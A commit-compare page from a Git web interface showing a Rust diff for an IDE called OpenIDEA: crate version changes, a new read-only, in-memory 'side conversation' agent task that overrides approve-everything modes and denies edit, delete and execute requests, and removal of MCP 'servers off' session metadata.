Порівняти коміти

..
Автор SHA1 Повідомлення Дата
l0ng-ai cd89f57c5f fix(app): Close Project asks about untitled buffers instead of dropping them 2026-11-16 18:37:14 +08:00
191 змінених файлів з 5738 додано та 7101 видалено

No files matched your search

Створено
+44 -44
Переглянути файл
@@ -4144,7 +4144,7 @@ checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
[[package]]
name = "ide-agent"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"dunce",
@@ -4169,7 +4169,7 @@ dependencies = [
[[package]]
name = "ide-analysis"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ast-grep-core",
"ide-core",
@@ -4183,7 +4183,7 @@ dependencies = [
[[package]]
name = "ide-android"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"serde",
@@ -4194,7 +4194,7 @@ dependencies = [
[[package]]
name = "ide-build"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"chardetng",
@@ -4212,7 +4212,7 @@ dependencies = [
[[package]]
name = "ide-cli"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dirs 6.0.0",
"serde",
@@ -4226,7 +4226,7 @@ dependencies = [
[[package]]
name = "ide-clipboard"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"gtk",
"objc2 0.6.5",
@@ -4237,7 +4237,7 @@ dependencies = [
[[package]]
name = "ide-core"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dunce",
"encoding_rs",
@@ -4254,7 +4254,7 @@ dependencies = [
[[package]]
name = "ide-coverage"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"ide-run",
@@ -4268,7 +4268,7 @@ dependencies = [
[[package]]
name = "ide-dap"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"base64 0.22.1",
"futures",
@@ -4297,7 +4297,7 @@ dependencies = [
[[package]]
name = "ide-db"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"base64 0.22.1",
"bb8",
@@ -4333,7 +4333,7 @@ dependencies = [
[[package]]
name = "ide-docker"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"serde",
@@ -4346,7 +4346,7 @@ dependencies = [
[[package]]
name = "ide-extension"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"base64 0.22.1",
"blake3",
@@ -4367,7 +4367,7 @@ dependencies = [
[[package]]
name = "ide-fonts"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"objc2-core-foundation",
"objc2-core-text",
@@ -4379,7 +4379,7 @@ dependencies = [
[[package]]
name = "ide-github"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"ide-vcs",
@@ -4392,7 +4392,7 @@ dependencies = [
[[package]]
name = "ide-heap"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"criterion",
"ide-core",
@@ -4410,7 +4410,7 @@ dependencies = [
[[package]]
name = "ide-host"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"base64 0.22.1",
"blake3",
@@ -4481,7 +4481,7 @@ dependencies = [
[[package]]
name = "ide-http"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"ide-vfs",
@@ -4500,7 +4500,7 @@ dependencies = [
[[package]]
name = "ide-index"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"criterion",
@@ -4522,7 +4522,7 @@ dependencies = [
[[package]]
name = "ide-jdwp"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-jvm-inspect",
"proptest",
@@ -4534,7 +4534,7 @@ dependencies = [
[[package]]
name = "ide-jsonrpc"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"encoding_rs",
"futures",
@@ -4551,7 +4551,7 @@ dependencies = [
[[package]]
name = "ide-jvm-attach"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"libc",
"tempfile",
@@ -4560,7 +4560,7 @@ dependencies = [
[[package]]
name = "ide-jvm-inspect"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"futures",
"serde",
@@ -4571,7 +4571,7 @@ dependencies = [
[[package]]
name = "ide-language"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"criterion",
@@ -4629,7 +4629,7 @@ dependencies = [
[[package]]
name = "ide-lsp"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dunce",
"encoding_rs",
@@ -4657,7 +4657,7 @@ dependencies = [
[[package]]
name = "ide-mcp"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"bytes",
"dunce",
@@ -4676,7 +4676,7 @@ dependencies = [
[[package]]
name = "ide-notebook"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"futures",
"ide-core",
@@ -4699,7 +4699,7 @@ dependencies = [
[[package]]
name = "ide-plugin"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"dunce",
@@ -4722,7 +4722,7 @@ dependencies = [
[[package]]
name = "ide-profiler"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"ide-jvm-attach",
@@ -4736,7 +4736,7 @@ dependencies = [
[[package]]
name = "ide-remote"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dunce",
"futures",
@@ -4756,7 +4756,7 @@ dependencies = [
[[package]]
name = "ide-run"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dunce",
"encoding_rs",
@@ -4780,7 +4780,7 @@ dependencies = [
[[package]]
name = "ide-scaffold"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"ide-tools",
@@ -4796,7 +4796,7 @@ dependencies = [
[[package]]
name = "ide-sdk"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dunce",
"flate2",
@@ -4819,7 +4819,7 @@ dependencies = [
[[package]]
name = "ide-search"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"criterion",
"encoding_rs",
@@ -4840,7 +4840,7 @@ dependencies = [
[[package]]
name = "ide-spell"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"parking_lot",
@@ -4853,7 +4853,7 @@ dependencies = [
[[package]]
name = "ide-ssh"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dirs 6.0.0",
"flate2",
@@ -4878,7 +4878,7 @@ dependencies = [
[[package]]
name = "ide-syntax"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"ide-language",
@@ -4893,7 +4893,7 @@ dependencies = [
[[package]]
name = "ide-terminal"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"ide-core",
"libc",
@@ -4906,7 +4906,7 @@ dependencies = [
[[package]]
name = "ide-text"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"criterion",
"ide-core",
@@ -4919,7 +4919,7 @@ dependencies = [
[[package]]
name = "ide-tools"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"flate2",
"hex",
@@ -4940,7 +4940,7 @@ dependencies = [
[[package]]
name = "ide-vcs"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"dunce",
@@ -4961,7 +4961,7 @@ dependencies = [
[[package]]
name = "ide-vfs"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"chardetng",
"dunce",
@@ -4987,7 +4987,7 @@ dependencies = [
[[package]]
name = "ide-web"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"dirs 6.0.0",
"ide-core",
@@ -5003,7 +5003,7 @@ dependencies = [
[[package]]
name = "ide-workspace"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"blake3",
"dunce",
@@ -6632,7 +6632,7 @@ dependencies = [
[[package]]
name = "openidea"
version = "0.1.46"
version = "0.1.45"
dependencies = [
"base64 0.22.1",
"blake3",
+1 -1
Переглянути файл
@@ -5,7 +5,7 @@ members = ["crates/*", "src-tauri"]
exclude = ["sdk", "plugins"]
[workspace.package]
version = "0.1.46"
version = "0.1.45"
edition = "2024"
rust-version = "1.96"
license = "Apache-2.0"
+42 -2
Переглянути файл
@@ -2,8 +2,8 @@
//! the agent reports them over ACP.
use crate::model::{
AgentCommand, AgentCommandSource, AgentConfigOption, AgentConfigValue, AgentConfigVia, AgentCost, AgentLimit,
AgentModelPricing, AgentUsage,
AgentCommand, AgentCommandSource, AgentConfigChoice, AgentConfigOption, AgentConfigValue, AgentConfigVia,
AgentCost, AgentLimit, AgentModelPricing, AgentUsage,
};
use serde_json::{Value, json};
@@ -54,6 +54,30 @@ pub(crate) fn bypass_approvals(config: &[AgentConfigOption]) -> bool {
.any(|category| selected(category).zip(bypass_value(category)).is_some_and(|(value, bypass)| bypass(value)))
}
/// Whether `value` of `option` approves everything without asking.
pub(crate) fn approves_everything(option: &AgentConfigOption, value: &str) -> bool {
option.category.as_deref().and_then(bypass_value).is_some_and(|bypass| bypass(value))
}
/// The choices that keep a session asking before it changes anything: `wanted` without values
/// that approve everything, and an asking value for each option of `options` that approves
/// everything as it stands.
pub(crate) fn asking_choices(options: &[AgentConfigOption], wanted: &[AgentConfigChoice]) -> Vec<AgentConfigChoice> {
let mut out: Vec<AgentConfigChoice> = wanted
.iter()
.filter(|c| !options.iter().any(|o| o.id == c.id && approves_everything(o, &c.value)))
.cloned()
.collect();
let mut asking = options.to_vec();
ask_for_approvals(&mut asking);
for (before, after) in options.iter().zip(&asking) {
let Some(value) = after.current.as_ref().filter(|v| before.current.as_ref() != Some(*v)) else { continue };
out.retain(|c| c.id != after.id);
out.push(AgentConfigChoice { id: after.id.clone(), value: value.clone() });
}
out
}
/// For an option of `category` that can approve everything, what tells its approving values.
fn bypass_value(category: &str) -> Option<fn(&str) -> bool> {
match category {
@@ -464,6 +488,22 @@ mod tests {
assert_eq!(ids(&c), [("allow_all", Some("off")), ("approval", Some("ask"))]);
}
#[test]
fn asking_choices_drop_and_override_values_that_approve_everything() {
let codex = options_of(&json!({"modes": {"currentModeId": "full-access",
"availableModes": [{"id": "read-only"}, {"id": "ask"}, {"id": "auto"}, {"id": "full-access"}]}}));
let mode = codex[0].id.clone();
let choice = |id: &str, value: &str| AgentConfigChoice { id: id.into(), value: value.into() };
// The source task's Full Access goes; the session's own Full Access is turned to Ask.
let wanted = asking_choices(&codex, &[choice(&mode, "full-access"), choice("model", "gpt")]);
assert_eq!(wanted, [choice("model", "gpt"), choice(&mode, "ask")]);
// A mode that already asks is left alone.
let mut auto = codex.clone();
auto[0].current = Some("auto".into());
assert_eq!(asking_choices(&auto, &[choice(&mode, "auto")]), [choice(&mode, "auto")]);
assert!(approves_everything(&codex[0], "full-access") && !approves_everything(&codex[0], "auto"));
}
#[test]
fn effort_and_fast_categories_are_inferred_from_ids() {
let mut c = options_of(&json!({
+260 -72
Переглянути файл
@@ -210,23 +210,20 @@ impl Shared {
}
}
/// The MCP servers passed to a session, and the names of the ones off for it.
fn mcp_servers_for_session(
&self,
provider: &str,
init: &acp::Negotiated,
overrides: &BTreeMap<String, bool>,
) -> McpForSession {
let builtin_off = overrides.get(mcp::BUILTIN_MCP_NAME) == Some(&false);
let mut servers =
if builtin_off { Vec::new() } else { mcp_servers_for(init.mcp_stdio(), &self.paths.project_root) };
) -> Vec<Value> {
let mut servers = if overrides.get(mcp::BUILTIN_MCP_NAME) == Some(&false) {
Vec::new()
} else {
mcp_servers_for(init.mcp_stdio(), &self.paths.project_root)
};
let configured = self.mcp_servers_hook.read().as_ref().map(|hook| hook()).unwrap_or_default();
servers.extend(mcp::acp_mcp_servers(&configured, provider, init, overrides));
let mut off = mcp::servers_off(&configured, overrides);
if builtin_off {
off.push(BUILTIN_SERVER.to_owned());
}
McpForSession { servers, off }
servers
}
fn known_config(&self, provider: &str) -> Vec<AgentConfigOption> {
@@ -372,6 +369,11 @@ struct TaskState {
title_renamed: bool,
/// A turn is running or about to (prompts arriving now are queued).
busy: bool,
/// A temporary side conversation: lives in memory only, never persisted.
ephemeral: bool,
/// The conversation a temporary side conversation starts with, sent to the agent with
/// its first real message; the task's own entries hold only the questions.
ephemeral_context: Option<String>,
/// Background tasks the agent reported as running (`run_in_background` commands and
/// the like), as it sent them: unlike a turn they outlive it, so an idle release
/// waits for the last one. A (re)started process runs nothing yet.
@@ -498,8 +500,14 @@ impl AgentManager {
}
/// Routes events to `sink` (replacing the previous subscriber); returns every task.
/// Ephemeral tasks belonged to the previous page session: a fresh one starts without them.
pub fn subscribe(&self, sink: AgentSink) -> Vec<AgentTask> {
*self.shared.sink.write() = Some(sink);
let stale: Vec<Arc<Task>> = self.tasks.read().values().filter(|t| t.state.lock().ephemeral).cloned().collect();
for task in &stale {
self.drop_in_memory(task);
self.shared.emit(AgentEvent::Removed { id: task.id.clone() });
}
let mut tasks: Vec<AgentTask> = self.tasks.read().values().map(|t| t.state.lock().task.clone()).collect();
tasks.sort_by(|a, b| b.updated_ms.total_cmp(&a.updated_ms));
tasks
@@ -726,7 +734,7 @@ impl AgentManager {
background: Box::default(),
mcp_overrides: BTreeMap::new(),
};
let file = TaskFile {
let handle = self.register(TaskFile {
task: task.clone(),
session_id: Some(session_id.to_owned()),
entries: Vec::new(),
@@ -737,9 +745,7 @@ impl AgentManager {
subagents: Vec::new(),
pending_rollback: 0,
title_renamed: true,
};
let handle = Task::restore(file, self.shared.clone());
self.tasks.write().insert(task.id.clone(), handle.clone());
});
handle.emit_task();
handle.persist();
Ok(task)
@@ -777,27 +783,8 @@ impl AgentManager {
(root, None, base, commit, before)
}
};
// Until the session reports its own, show what the agent offered last time with the choices applied.
let catalog = self.shared.paths.catalogs.cached(&self.shared, &spec.id);
let mut levels = catalog.thought_levels;
let mut config = self.shared.config_for_new_task(catalog.config, &spec.id);
for choice in &req.config {
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
o.current = Some(choice.value.clone());
}
}
if let Some(model) = model_of(&config)
&& let Some(levels) = levels.remove(&model)
{
config.extend(levels.into_iter().map(|mut o| {
if let Some(choice) =
req.config.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value))
{
o.current = Some(choice.value.clone());
}
o
}));
}
// The session's settings: what the agent offered last time, with the choices applied.
let config = self.merged_config(&spec.id, &req.config);
let now = now_ms();
let id = uuid::Uuid::new_v4().simple().to_string();
// Copies of the files the user had changed already, for rolling back the task's changes to them.
@@ -839,7 +826,7 @@ impl AgentManager {
background: Box::default(),
mcp_overrides: req.mcp_overrides,
};
let file = TaskFile {
let handle = self.register(TaskFile {
task: task.clone(),
session_id: None,
entries: Vec::new(),
@@ -850,16 +837,120 @@ impl AgentManager {
subagents: Vec::new(),
pending_rollback: 0,
title_renamed: false,
};
let handle = Task::restore(file, self.shared.clone());
});
handle.state.lock().busy = true;
self.tasks.write().insert(task.id.clone(), handle.clone());
handle.emit_task();
handle.persist();
self.shared.runtime.spawn(async move { handle.run(prompt).await });
Ok(task)
}
/// Builds the in-memory handle of a fresh task, registers it and announces it. The
/// caller decides what else its life starts with (a persisted file, a session, a run).
fn register(&self, file: TaskFile) -> Arc<Task> {
let handle = Task::restore(file, self.shared.clone());
self.tasks.write().insert(handle.id.clone(), handle.clone());
handle.emit_task();
handle
}
/// The session's settings: what the agent offered last time, with the request's
/// choices — and the chosen model's thought levels — applied.
fn merged_config(&self, provider: &str, req: &[AgentConfigChoice]) -> Vec<AgentConfigOption> {
let catalog = self.shared.paths.catalogs.cached(&self.shared, provider);
let mut levels = catalog.thought_levels;
let mut config = self.shared.config_for_new_task(catalog.config, provider);
for choice in req {
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
o.current = Some(choice.value.clone());
}
}
if let Some(model) = model_of(&config)
&& let Some(levels) = levels.remove(&model)
{
config.extend(levels.into_iter().map(|mut o| {
if let Some(choice) = req.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value)) {
o.current = Some(choice.value.clone());
}
o
}));
}
config
}
/// Creates a temporary side conversation of `source`: an in-memory task that is never
/// persisted, whose session starts with its first real message (`prompt` only names
/// the title). `source`'s conversation rides along as the context of that message.
/// The task is read-only: its settings are pushed to a mode that asks before anything,
/// and requests that would change the project are denied regardless. Fails for an
/// agent that offers no way to ask.
pub async fn create_ephemeral(&self, req: NewAgentTask, source: &str) -> IdeResult<AgentTask> {
let spec = self
.shared
.spec(&req.provider)
.ok_or_else(|| IdeError::invalid(format!("unknown agent {}", req.provider)))?;
let prompt = clean(req.prompt).ok_or_else(|| IdeError::invalid("describe the topic first"))?;
let title = title_of(&prompt);
let mut config = self.merged_config(&spec.id, &req.config);
// The source task's choices may approve everything; the side conversation asks.
let wanted = config::asking_choices(&config, &req.config);
config::ask_for_approvals(&mut config);
if config::bypass_approvals(&config) {
return Err(IdeError::invalid(
"this agent has no mode that asks before changing things, so it can't run a side conversation",
));
}
let read_only = !config::bypass_approvals(&config);
let context = context_transcript(&self.task(source)?.state.lock().conversation.main.entries);
let root = self.shared.paths.project_root.clone();
let before = blocking(move || Ok(worktree::snapshot(&root).unwrap_or_default())).await?;
let now = now_ms();
let mut capabilities = self.shared.probes.lock().get(&spec.id).map(|p| p.capabilities).unwrap_or_default();
capabilities.read_only = read_only;
let task = AgentTask {
project_root: Some(IpcPath(self.shared.paths.project_root.clone())),
id: uuid::Uuid::new_v4().simple().to_string(),
title,
provider: spec.id.clone(),
model: model_of(&config),
status: AgentStatus::Ready,
isolation: Isolation::Local,
cwd: IpcPath(self.shared.paths.project_root.clone()),
branch: None,
base: None,
base_commit: None,
error: None,
created_ms: now,
updated_ms: now,
commands: self.shared.known_commands(&spec.id),
usage: None,
queue: Vec::new(),
capabilities,
resets_ms: None,
retry: None,
background: Box::default(),
mcp_overrides: req.mcp_overrides,
config,
};
let handle = self.register(TaskFile {
task: task.clone(),
session_id: None,
entries: Vec::new(),
wanted,
before,
saved: None,
touched: None,
subagents: Vec::new(),
pending_rollback: 0,
title_renamed: false,
});
{
let mut s = handle.state.lock();
s.ephemeral = true;
s.ephemeral_context = Some(context);
}
Ok(task)
}
/// Sends a message. While the agent works it is queued, or with `now` the current turn
/// is cancelled and the message goes next.
pub async fn prompt(&self, id: &str, prompt: AgentPrompt, now: bool) -> IdeResult<()> {
@@ -961,6 +1052,9 @@ impl AgentManager {
if !o.values.iter().any(|v| v.value == value) {
return Err(IdeError::invalid(format!("{} has no value {value}", o.name)));
}
if s.ephemeral && config::approves_everything(o, &value) {
return Err(IdeError::invalid("a side conversation asks before changing anything"));
}
o.clone()
};
let previous = target.current.clone();
@@ -1049,11 +1143,7 @@ impl AgentManager {
.peer
.request(
"session/fork",
{
let mut params = session_params(&cwd_s, &mcp_servers);
params["sessionId"] = json!(live.session);
params
},
json!({ "sessionId": live.session, "cwd": cwd_s, "mcpServers": mcp_servers }),
None,
)
.await
@@ -1324,6 +1414,15 @@ impl AgentManager {
Ok(())
}
/// Removes a task from the manager's table and stops its agent. The disk (its file,
/// its worktree) is the caller's business.
fn drop_in_memory(&self, task: &Arc<Task>) {
task.kill();
self.tasks.write().remove(&task.id);
*task.deleted.lock() = true;
let _ = std::fs::remove_file(self.shared.paths.store_dir.join(format!("{}.json", task.id)));
}
/// Returns an archived task to the active list without starting the agent.
pub fn unarchive(&self, id: &str) -> IdeResult<()> {
let task = self.task(id)?;
@@ -1589,6 +1688,8 @@ impl Task {
pending_rollback: file.pending_rollback,
title_renamed: file.title_renamed,
busy: false,
ephemeral: false,
ephemeral_context: None,
background_tasks: Vec::new(),
}),
live: Mutex::new(None),
@@ -1748,6 +1849,9 @@ impl Task {
if *deleted {
return;
}
if self.state.lock().ephemeral {
return;
}
let bytes = {
let s = self.state.lock();
serde_json::to_vec(&TaskFile {
@@ -2017,7 +2121,20 @@ impl Task {
if !prompt.images.is_empty() && !live.capabilities.images {
return Err(Failure::from("This agent can't read images.".to_owned()));
}
let mut content = self.content(&live, prompt).await;
// A temporary side conversation's context rides with its first real message; the
// conversation itself records only the question (and whatever comes after).
let prompt = {
let context = self.state.lock().ephemeral_context.take();
match context {
Some(context) => {
let mut owned = prompt.clone();
owned.text = format!("{context}\n\n---\n\n{}", owned.text);
owned
}
None => prompt.clone(),
}
};
let mut content = self.content(&live, &prompt).await;
let mut result: Result<Value, RpcError> =
live.peer.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None).await;
if live.driver == provider::Driver::Copilot
@@ -2039,7 +2156,7 @@ impl Task {
if !prompt.images.is_empty() && !live.capabilities.images {
return Err(Failure::from("This agent can't read images.".to_owned()));
}
content = self.content(&live, prompt).await;
content = self.content(&live, &prompt).await;
result = live
.peer
.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None)
@@ -2199,8 +2316,7 @@ impl Task {
let mut session = None;
if let (Some(id), true) = (saved, can_load) {
self.replaying.store(true, Ordering::Release);
let mut params = session_params(&cwd_s, &mcp_servers);
params["sessionId"] = json!(&id);
let params = json!({ "sessionId": &id, "cwd": &cwd_s, "mcpServers": &mcp_servers });
let loaded = self.request_with_auth(&peer, &init, &mut tried_auth, "session/load", params).await;
tokio::time::sleep(REPLAY_GRACE).await;
self.replaying.store(false, Ordering::Release);
@@ -2213,7 +2329,7 @@ impl Task {
let (session_id, result) = match session {
Some(s) => s,
None => {
let params = session_params(&cwd_s, &mcp_servers);
let params = json!({ "cwd": &cwd_s, "mcpServers": &mcp_servers });
let v = self.request_with_auth(&peer, &init, &mut tried_auth, "session/new", params).await.map_err(
|e| match self.sign_in_error(&e, Some(&sign_in_message)) {
Some(msg) => SessionOpenError { message: msg, allow_acp_fallback: false },
@@ -2255,7 +2371,8 @@ impl Task {
let (mut options, mut wanted) = {
let s = self.state.lock();
let options = if known { reported } else { s.task.config.clone() };
let wanted = s.wanted.clone();
// A side conversation asks before anything, whatever mode the agent starts in.
let wanted = if s.ephemeral { config::asking_choices(&options, &s.wanted) } else { s.wanted.clone() };
(options, wanted)
};
config::add_client_options(provider_id, &mut options);
@@ -2564,6 +2681,30 @@ impl Task {
.collect()
})
.unwrap_or_default();
// A side conversation is read-only: deny anything that would change the project
// (its task is deleted when its pane closes, leaving nothing to review or revert).
if self.state.lock().ephemeral
&& params
.pointer("/toolCall/kind")
.or_else(|| params.pointer("/subject/toolCall/kind"))
.and_then(Value::as_str)
.is_some_and(|kind| matches!(kind, "edit" | "delete" | "move" | "execute"))
{
let reject = options.iter().find(|o| o.kind.starts_with("reject")).cloned();
let _ = self.push_entry(AgentEntry::Permission {
id,
title,
command: None,
options,
questions: Vec::new(),
form: None,
chosen: Some("Denied: side conversations are read-only".to_owned()),
});
return match reject {
Some(option) => json!({ "outcome": { "outcome": "selected", "optionId": option.id } }),
None => json!({ "outcome": { "outcome": "cancelled" } }),
};
}
let asked: Vec<String> = questions
.iter()
.map(|question| question.answer_key.clone().unwrap_or_else(|| question.question.clone()))
@@ -2825,6 +2966,72 @@ fn clean(mut prompt: AgentPrompt) -> Option<AgentPrompt> {
(!prompt.text.is_empty() || !prompt.images.is_empty() || !prompt.files.is_empty()).then_some(prompt)
}
/// The character budget of a side conversation's context: the newest entries win, the
/// oldest are dropped first. Leaves room for the question and the agent's answer.
const CONTEXT_BUDGET: usize = 100_000;
/// A long tool output trimmed to its first and last few lines, with the elided middle noted.
fn trimmed_output(output: &str) -> String {
const KEPT: usize = 4;
let lines: Vec<&str> = output.lines().collect();
if lines.len() <= KEPT * 2 + 1 {
return output.to_owned();
}
let omitted = lines.len() - KEPT * 2;
let mut out = lines[..KEPT].join("\n");
out.push_str(&format!("\n… {omitted} lines omitted …\n"));
out.push_str(&lines[lines.len() - KEPT..].join("\n"));
out
}
fn context_entry(e: &AgentEntry) -> Option<String> {
match e {
AgentEntry::User { text, .. } => Some(format!("User: {text}")),
AgentEntry::Agent { text, .. } if !text.trim().is_empty() => Some(format!("Agent: {text}")),
AgentEntry::Thought { text, .. } if !text.trim().is_empty() => Some(format!("Thought: {text}")),
AgentEntry::Tool { title, output, .. } => match output.as_deref() {
Some(output) if !output.trim().is_empty() => Some(format!("Tool: {title}\n{}", trimmed_output(output))),
_ => Some(format!("Tool: {title}")),
},
AgentEntry::Error { message, .. } => Some(format!("Error: {message}")),
_ => None,
}
}
/// The conversation as the context a temporary side conversation starts with: what was
/// said, what was done (tool calls with trimmed output), errors and the agent's reasoning,
/// oldest first, within [`CONTEXT_BUDGET`].
fn context_transcript(entries: &[AgentEntry]) -> String {
// Newest wins: walk back until the budget is spent, dropping the oldest entries first.
let mut lines: Vec<String> = Vec::new();
let mut used = 0usize;
for e in entries.iter().rev() {
let Some(line) = context_entry(e) else { continue };
if used + line.len() > CONTEXT_BUDGET {
if lines.is_empty() {
// Even the newest entry alone exceeds the budget: keep its head.
lines.push(line.chars().take(CONTEXT_BUDGET).collect());
}
break;
}
used += line.len();
lines.push(line);
}
lines.reverse();
let dropped = entries.iter().rev().filter_map(context_entry).count() - lines.len();
let mut context = String::from(
"You are answering a side question in a temporary conversation. The conversation so far is below, \
for context only; answer the new question after the marker, and do not continue the main task \
unless asked.\n\n<conversation>\n",
);
if dropped > 0 {
context.push_str(&format!("(The {dropped} oldest entries are omitted.)\n\n"));
}
context.push_str(&lines.join("\n\n"));
context.push_str("\n</conversation>");
context
}
fn permission_title(params: &Value) -> String {
let call = &params["toolCall"];
let title = call.get("title").and_then(Value::as_str).filter(|t| !t.is_empty());
@@ -3043,6 +3250,7 @@ fn capabilities_of(init: &acp::Negotiated) -> (AgentCapabilities, bool) {
rollback: meta("/openidea/rollback"),
steer: steer_method(init).is_some(),
background_tasks: meta("/openidea/backgroundTasks"),
read_only: false,
};
(capabilities, init.prompt("embeddedContext"))
}
@@ -3057,23 +3265,6 @@ fn turn_starts(entries: &[AgentEntry]) -> Vec<usize> {
.collect()
}
/// The MCP servers of a session, and the names of the ones off for it.
struct McpForSession {
servers: Vec<Value>,
off: Vec<String>,
}
/// The session parameters `session/new`, `session/load` and `session/fork` share: the MCP
/// servers, and the ones off for this session, so an agent that also loads its own
/// configuration (Claude Code) can keep a same-named server of it off too.
fn session_params(cwd: &str, mcp: &McpForSession) -> Value {
let mut params = json!({ "cwd": cwd, "mcpServers": mcp.servers });
if !mcp.off.is_empty() {
params["_meta"] = json!({ "openidea": { "mcpServersOff": mcp.off } });
}
params
}
fn is_false(b: &bool) -> bool {
!*b
}
@@ -3182,9 +3373,6 @@ mod replay_tests;
#[cfg(test)]
mod tests;
/// The name agents know the built-in server by (its tools are `mcp__OpenIDEA__…` in Claude Code).
const BUILTIN_SERVER: &str = "OpenIDEA";
// The desktop advertises its relay only while the built-in server is listening.
static MCP_EXECUTABLE: parking_lot::RwLock<Option<std::path::PathBuf>> = parking_lot::RwLock::new(None);
@@ -3199,7 +3387,7 @@ fn mcp_servers_for(supported: bool, root: &std::path::Path) -> Vec<Value> {
fn stdio_mcp_servers(executable: Option<&std::path::Path>, supported: bool, root: &std::path::Path) -> Vec<Value> {
let Some(executable) = executable.filter(|_| supported) else { return Vec::new() };
let command = ide_mcp::stdio_command(executable, root);
vec![json!({ "name": BUILTIN_SERVER, "command": command[0], "args": command[1..], "env": [] })]
vec![json!({ "name": "OpenIDEA", "command": command[0], "args": command[1..], "env": [] })]
}
/// What was sent of a streaming message: its first `bytes` (`utf16` UTF-16 units), which
-61
Переглянути файл
@@ -86,29 +86,6 @@ fn matches_agent(agents: &[String], provider: &str) -> bool {
})
}
/// The configured servers off for this session: off by default and not switched on for it, or
/// switched off for it. Named so an agent that also loads its own configuration can keep a
/// same-named server of it off too. Workspace entries take precedence, as in [`acp_mcp_servers`].
pub(crate) fn servers_off(all: &[McpServer], overrides: &BTreeMap<String, bool>) -> Vec<String> {
let mut seen = HashSet::new();
let ordered =
all.iter().filter(|s| s.scope == McpScope::Workspace).chain(all.iter().filter(|s| s.scope == McpScope::User));
let configured: Vec<String> = ordered
.filter(|s| seen.insert(s.name.as_str()))
.filter(|s| !overrides.get(&s.name).copied().unwrap_or(s.enabled))
.map(|s| s.name.clone())
.collect();
// A server switched off that the IDE doesn't configure may still be the agent's own.
let switched = overrides
.iter()
.filter(|(name, on)| !**on && name.as_str() != BUILTIN_MCP_NAME && !seen.contains(name.as_str()))
.map(|(name, _)| name.clone());
let mut off: Vec<String> = configured.into_iter().chain(switched).collect();
off.sort();
off.dedup();
off
}
/// Builds the ACP `mcpServers` array for `session/new`, `session/load`, and `session/fork`.
/// Workspace entries take precedence over User entries with the same name. Per-session
/// `overrides` (`server_name` -> `enabled`) can enable a disabled server or disable an enabled one
@@ -1039,44 +1016,6 @@ fn parse_key_values_map(val: Option<&Value>) -> BTreeMap<String, String> {
mod tests {
use super::*;
fn configured(name: &str, scope: McpScope, enabled: bool) -> McpServer {
McpServer {
id: format!("{scope:?}:{name}"),
name: name.into(),
scope,
transport: McpTransport::Stdio,
enabled,
command: Some("x".into()),
args: Vec::new(),
env: Vec::new(),
url: None,
headers: Vec::new(),
agents: Vec::new(),
unapproved: false,
}
}
#[test]
fn servers_off_follow_the_effective_state() {
let all = [
configured("default-off", McpScope::User, false),
configured("switched-on", McpScope::User, false),
configured("on", McpScope::User, true),
configured("switched-off", McpScope::User, true),
// The workspace entry decides for its name.
configured("both", McpScope::User, true),
configured("both", McpScope::Workspace, false),
];
let overrides = BTreeMap::from([
("switched-on".to_owned(), true),
("switched-off".to_owned(), false),
("agent-own".to_owned(), false),
(BUILTIN_MCP_NAME.to_owned(), false),
]);
assert_eq!(servers_off(&all, &overrides), ["agent-own", "both", "default-off", "switched-off"]);
assert_eq!(servers_off(&all[2..4], &BTreeMap::new()), Vec::<String>::new());
}
#[test]
fn crud_and_acp_filtering_by_scope_agent_and_transport() {
let mut user = BTreeMap::new();
+3
Переглянути файл
@@ -45,6 +45,9 @@ pub struct AgentCapabilities {
pub steer: bool,
/// It reports its background tasks and stops them one by one.
pub background_tasks: bool,
/// The task runs read-only: it asks before anything, and requests that would change
/// the project are denied (a temporary side conversation).
pub read_only: bool,
}
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, Type)]
